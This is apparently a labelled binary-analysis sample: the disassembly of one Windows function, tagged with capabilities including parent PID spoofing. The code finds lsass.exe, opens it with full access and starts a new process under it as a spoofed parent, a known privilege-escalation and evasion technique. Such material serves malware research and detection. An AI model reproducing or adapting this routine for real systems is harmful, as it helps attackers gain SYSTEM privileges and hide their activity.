Function at 0x180001000
Capabilities:
Create process on windows
Enumerate process modules
Get process image filename
Spoof parent pid

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x18001e088]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov r15, rcx
mov qword [rbp - 0x20], rcx
xor r14d, r14d
mov ecx, 0x3fffc
mov dword [rbp - 0x18], r14d
call fcn.180004118
mov rbx, rax
test rax, rax
je 0x180001083
nop dword [rax + rax]
lea r8, [rbp - 0x18]
mov edx, 0x3fffc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x180001071
mov edi, dword [rbp - 0x18]
cmp edi, 0x3fffc
jb 0x1800010a3
mov ecx, 0x3fffc
call fcn.180004118
mov rbx, rax
test rax, rax
jne 0x180001050
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.180002070
add rsp, 0x310
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret
mov qword [rsp + 0x348], rsi
mov esi, r14d
shr edi, 2
mov qword [rsp + 0x358], r13
mov r13d, 0x7b
test edi, edi
je 0x18000117c
mov qword [rsp + 0x350], r12
mov r12, rbx
mov r8d, dword [r12]
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x1800012f5
mov r8d, 0x104
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
je 0x1800012ec
mov edx, 0x5c
lea rcx, [rbp - 0x10]
call fcn.180002e40
mov rdx, rax
test rax, rax
je 0x1800012ec
add rdx, 2
je 0x1800012ec
mov rax, r14
lea r8, str.lsass.exe
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [r8 + rax*2]
jne 0x1800012ec
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r8 + rax*2 + 2]
jne 0x1800012ec
add rax, 2
cmp rax, 0xa
jne 0x180001140
mov eax, esi
mov r13d, dword [rbx + rax*4]
mov r15, qword [rbp - 0x20]
mov r12, qword [rsp + 0x350]
mov rcx, rbx
call fcn.180004120
mov r8d, r13d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r13, qword [rsp + 0x358]
mov rdi, rax
mov rsi, qword [rsp + 0x348]
test rax, rax
je 0x1800012e4
xor r8d, r8d
mov qword [rbp - 0x20], r14
lea r9, [rbp - 0x20]
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1800012db
call fcn.180004118
mov rbx, rax
test rax, rax
je 0x1800012ca
xor r8d, r8d
lea r9, [rbp - 0x20]
mov rcx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x1800012ca
mov qword [rsp + 0x30], r14
lea r9, [rsp + 0x50]
mov qword [rsp + 0x28], r14
xor edx, edx
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
mov rcx, rbx
mov qword [rsp + 0x50], rdi
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x1800012ca
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x70
xor eax, eax
mov qword [rbp - 0x28], rbx
mov dword [rbp - 0x2c], eax
xor r9d, r9d
mov qword [rsp + 0x68], rax
xor r8d, r8d
lea rax, [rsp + 0x58]
mov rdx, r15
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8080000
mov dword [rsp + 0x20], r14d
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1800012ca
mov rcx, qword [rsp + 0x58]
mov r14d, 1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rbx
call fcn.180004120
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
jmp 0x180001085
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
add r12, 4
cmp esi, edi
jb 0x1800010d2
jmp 0x180001170